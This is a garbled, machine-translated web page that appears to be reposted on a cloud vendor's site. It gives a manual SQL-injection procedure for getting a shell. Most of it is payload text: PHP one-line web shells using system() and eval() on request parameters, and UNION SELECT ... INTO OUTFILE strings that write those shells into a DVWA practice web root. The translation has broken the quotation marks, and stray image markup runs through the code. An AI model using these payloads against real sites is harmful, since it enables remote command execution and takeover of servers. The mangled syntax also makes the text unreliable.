SQL inject exploit manual process details: Get shell

Source: Internet
Author: User

Idea: Upload a "backdoor", through the control back door to get the shell, such as a word Trojan. Like what:

<?system ($_request[' cmd ');? >//Submit via request, execute Shell<[email protected] ($_post[' Chopper ');? >

PHP A word trojan, directly on the chopper


This constructs the following statement:

1 ' and 1=2 Union select ' <? ', System ($_request[' cmd ');? > "

into outfile "d:\\xampp\\htdocs\\dvwa\\yy.php" #



1 ' and 1=2 Union select 1, ' <?system ($_request[' cmd ');? > "Into OutFile" f:\\xampp\\htdocs\\dvwa\\zzz.php "--

650) this.width=650; "Src=" Http://s4.51cto.com/wyfs02/M02/86/CF/wKiom1fLzO6w2AbHAAIURuE1dG4326.jpg-wh_500x0-wm_3 -wmp_4-s_1679569698.jpg "title=" cmd.jpg "alt=" Wkiom1flzo6w2abhaaiurue1dg4326.jpg-wh_50 "/>



1 ' and 1=2 Union select ' <? ', ' System ($_request[' cmd ']);? > "Into OutFile" d:\\

Xampp\\htdocs\\dvwa\\zzz.php "


<?php eval ($_post[' 888 ']);? >


1 ' and 1=2 Union select 1, "<?php eval ($_post[' 888");? > "Into OutFile" d:\\xampp\\htdocs\\dvwa\\yyy.php "#

SQL inject exploit manual process details: Get shell

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.